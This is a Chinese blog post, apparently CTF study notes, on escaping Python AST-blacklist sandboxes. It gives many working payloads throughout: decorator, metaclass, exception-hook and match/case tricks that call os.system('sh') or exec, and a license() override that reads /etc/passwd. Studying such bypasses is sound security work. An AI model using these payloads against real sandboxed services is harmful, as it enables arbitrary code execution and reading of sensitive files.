AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单。例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作,这样一来就无法导入模块和执行函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import ast
import sys
import os

def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]

# 获取 os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]

# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

# without call

如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.

# 装饰器

利用 payload 如下,该 payload 实际上等效于 exec (input (X))

1
2
3
4
@exec
@input
class X:
pass

当我们输入上述的代码后,Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.

1
2
3
4
5
6
>>> @exec
... @input
... class X:
... pass
...
<class '__main__.X'>__import__("os").system("ls")

由于装饰器不会被解析为调用表达式或语句,因此可以绕过黑名单,最终传入的 payload 是由 input 接收的,因此也不会被拦截.

其实这样的话,构造其实可以有很多,比如使用单层的装饰器,打开 help 函数.

1
2
3
@help
class X:
pass

这样可以直接进入帮助文档:

1
2
3
4
5
6
7
8
9
10
11
Help on class X in module __main__:

class X(builtins.object)
| Data descriptors defined here:
|
| __dict__
| dictionary for instance variables (if defined)
|
| __weakref__
| list of weak references to the object (if defined)
(END)

再次输入!sh 即可打开 /bin/sh

或是给装饰器加一些参数。

1
2
3
4
5
6
7
8
9
import os

def fake_wrapper(f):
return '/bin/sh'

@getattr(os,"system")
@fake_wrapper
def something():
pass

相当于:

1
getattr(os,"system")(fake_wrapper(something))

亦或者自定义一个装饰器:

1
2
3
4
5
6
7
8
9
10
import os

def fake_wrapper(f):
return '/bin/sh'

@os.system
@fake_wrapper
def something():
pass

相当于 os.system(fake_wrapper(something)) ,也就是 os.system(‘/bin/sh’)

# 函数覆盖

我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法。因此只需要覆盖其 __getitem__ 方法,即可在使用 obj[argument] 执行代码:

1
2
3
4
>>> class A:
... __getitem__ = exec
...
>>> A()['__import__("os").system("ls")']

但是这里调用了 A 的构造函数,因此 AST 中还是会出现 ast.Call. 如何在不执行构造函数的情况下获取类实例呢?

# metaclass 利用

Python 中提供了一种元类 (metaclass) 概念。元类是创建类的 “类”。在 Python 中,类本身也是对象,元类就是创建这些类(即类的对象)的类。

元类在 Python 中的作用主要是用来创建类。类是对象的模板,而元类则是类的模板。元类定义了类的行为和属性,就像类定义了对象的行为和属性一样。

下面是基于元类的 payload, 在不使用构造函数的情况下触发

1
2
3
4
5
6
7
class Metaclass(type):
__getitem__ = exec

class Sub(metaclass=Metaclass):
pass

Sub['import os; os.system("sh")']

除了 __getitem__ 之外其他方法的利用方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

示例:

1
2
3
4
5
6
7
class Metaclass(type):
__sub__ = exec

class Sub(metaclass=Metaclass):
pass

Sub-'import os; os.system("sh")'
# exceptions 利用

利用 exceptions 的目的也是为了绕过显示地实例化一个类,如果一个类继承了 Exception 类,那么就可以通过 raise 关键字来实例化. payload 如下:

1
2
3
4
5
6
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec

raise RCE

raise 会进入 RCE 的 __init__ , 然后触发 __iadd__ 也就是 exec.

当然,触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.

1
2
3
4
5
6
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0

这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.

1
2
3
4
5
6
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

这个 payload 将 __import__ 函数进行覆盖,最后的 {}[1337] 在正常情况下会引发 KeyError 异常,因为 Python 在引发异常时会尝试导入某些模块(比如 traceback 模块),导入时就会触发 __import__ .

# 通过 license 函数读取文件
1
2
3
4
5
6
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.

1
2
>>> __builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']

payload 中将 help 类的 __enter__ 方法覆盖为 license 方法,而 with 语句在创建上下文时会调用 help 的 __enter__ , 从而执行 license 方法。这里的 help 类只是一个载体,替换为其他的支持上下文的类或者自定义一个类也是可以的。例如:

1
2
3
4
5
6
7
8
9
class MyContext:
pass

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

# 绕过 ast.Attribute 获取属性

如何绕过 ast.Attribute?python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。

最简单的示例,匹配字符串:

1
2
3
4
5
6
7
8
9
item = 2

match item:
case 1:
print("One")
case 2:
print("Two")

# Two

还可以匹配并自动赋值给局部变量,传入 (1,2) 时,会进入第二个分支,并对 x,y 赋值。

1
2
3
4
5
6
7
8
9
item = (1, 2)

match item:
case (x, y, z):
print(f"{x} {y} {z}")
case (x, y):
print(f"{x} {y}")
case (x,):
print(f"{x}")

对于基本类型的匹配比较好理解,下面是一个匹配类的示例:

1
2
3
4
5
6
7
8
9
10
11
class AClass:
def __init__(self, value):
self.thing = value

item = AClass(32)

match item:
case AClass(thing=x):
print(f"Got {x = }!")

# Got x = 32!

在这个示例中,重点关注 case AClass(thing=x) ,这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。

这样一来就可以在不适用。号的情况下获取到类的属性值。例如获取 ''.__class__ ,可以编写如下的 match/case 语句:

1
2
3
4
5
match str():
case str(__class__=x):
print(x==''.__class__)

# True

可以看到 x 就是 ''.__class__ . 因为所有的类都输入 object 类,所以可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。

1
2
3
4
5
match str():
case object(__class__=x):
print(x==''.__class__)

# True

再测试一下该 payload 的 AST:

1
2
3
4
5
6
7
8
9
import os
import ast

a = '''
match str():
case str(__class__=x):
print(x)
'''
print(ast.dump(ast.parse(a, mode='exec'), indent=4))

AST 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Module(
body=[
Match(
subject=Call(
func=Name(id='str', ctx=Load()),
args=[],
keywords=[]),
cases=[
match_case(
pattern=MatchClass(
cls=Name(id='str', ctx=Load()),
patterns=[],
kwd_attrs=[
'__class__'],
kwd_patterns=[
MatchAs(name='x')]),
body=[
Expr(
value=Call(
func=Name(id='print', ctx=Load()),
args=[
Name(id='x', ctx=Load())],
keywords=[]))])])],
type_ignores=[])

可以看到确实没有 Attribute,依据这个原理,就可以绕过 ast.Attribute

我们可以构造替代 ''.__class__.__base__.__subclasses__() 的 payload:

1
2
3
4
5
6
7
match str():
case object(__class__=clazz):
match clazz:
case object(__base__=bass):
match bass:
case object(__subclasses__=subclazz):
print(subclazz)

# 绕过 ast.Assign 赋值变量

ast.Assign 无法使用时,我们无法直接使用 = 来进行赋值,此时可以使用海象表达式:= 进行绕过。例如:

1
2
3
4
[
system:=111,
bash:=222
]

此时 AST 树如下,海象表达式用到的是 ast.NamedExpr 而非 ast.Assign

1
2
3
4
5
6
7
8
9
10
11
12
13
Module(
body=[
Expr(
value=List(
elts=[
NamedExpr(
target=Name(id='system', ctx=Store()),
value=Constant(value=111)),
NamedExpr(
target=Name(id='bash', ctx=Store()),
value=Constant(value=222))],
ctx=Load()))],
type_ignores=[])

# 绕过 ast.Constant 获取数字、字符串

题目限制了 ast.Constant,所以无法直接使用数字、字符串常量,但通过其他的函数组合可以构造出数字和字符串。 例如:

1
2
3
4
5
6
"" : str()
0 : len([])
"0": str(len([]))
"1": str(len([str()])) 或 str(len([min]))
"2": str(len([str(),str()])) 或 str(len([min,max]))
'A': chr(len([min,min,min,min,min])*len([min,min,min,min,min,min,min,min,min,min,min,min,min]))

如果要用数字来构造字符串,通常需要用到 chr 函数,虽然题目的 builtins 没有直接提供 chr 函数,但也可以自己手动实现一个 chr。

当然,题目 builtins 允许 dict 和 list,因此可以直接用这两个函数直接构造出字符串

在这个 payload 中,需要构造出 _wrap_close、system、bash

1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

那么就可以通过下面的方式获取到这几个字符串:

1
2
3
list(dict(system=[]))[0]            # system
list(dict(_wrap_close=[]))[0] # _wrap_close
list(dict(bash=[]))[0] # bash

# 绕过 ast.Subscript 获取列表 / 字典元素

题目同时限定了 ast.Subscript,因此无法直接使用索引。但 BUILTINS 中给出了 min 函数,该函数可以获取列表中最小的元素,当列表中只有一个元素时,就可以直接取值。

1
2
3
min(list(dict(system=[])))            # system
min(list(dict(_wrap_close=[]))) # _wrap_close
min(list(dict(bash=[]))) # bash

如果要获取字典元素,可以利用 get 函数来替代 Subscript。例如我需要在 globals 字典中获取 key 为 system 的元素,可以配合 match/case 来获取。

1
2
3
match globals:
case object(get=get_func):
get_func("system")

# 绕过 ast.For 遍历列表

在构造最终 payload 中,我们还需要在 __subclasses__() 得到的列表中获取到 _wrap_close 类。

1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("bash")

当列表中不只有一个元素且列表中的元素之间无法比较时,正常情况下可以使用 for 来遍历并判断,但 ast.For 被题目过滤了,此时可以使用 filter,如下所示:

1
2
3
4
5
6
7
8
9
def filter_func(subclazzes_item):
[ _wrap_close:=min(list(dict(_wrap_close=[])))]
match subclazzes_item:
case object(__name__=name):
if name==_wrap_close:
return subclazzes_item
[
subclazzes_item:=min(filter(filter_func,subclazzes()))
]

fitler 中使用 match/case 和 if 来进行过滤。

除了使用 filter 函数外,还可以使用 iter 和 next 函数来遍历列表,但题目 BUILTINS 中没有给出这两个函数。

# END

贴一个自动化的 Python 沙箱逃逸 payload bypass 框架,不知道将来用不用得到

GitHub - Macr0phag3/parselmouth

  • Title: PyJail
  • Author: Fc04dB
  • Created at : 2024-05-06 22:42:33
  • Updated at : 2024-07-04 23:15:24
  • Link: https://redefine.ohevan.com/2024/05/06/PyJail/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments